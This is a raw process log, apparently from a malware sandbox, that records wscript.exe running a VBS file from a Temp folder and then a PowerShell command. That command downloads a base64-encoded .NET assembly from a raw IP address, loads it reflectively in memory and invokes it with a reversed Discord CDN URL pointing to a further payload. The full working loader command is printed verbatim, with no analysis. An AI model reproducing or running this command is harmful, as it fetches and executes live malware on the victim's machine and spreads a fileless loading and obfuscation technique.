wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Vbs_Startup_LNK30.vbs
1532powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $roWg = [system.Convert]::FromBase64string((New-object Net.WebClient).DownloadString('http://4.204.233.44/Dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.von32/8463271834753457401/6154437779443457401/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))
2104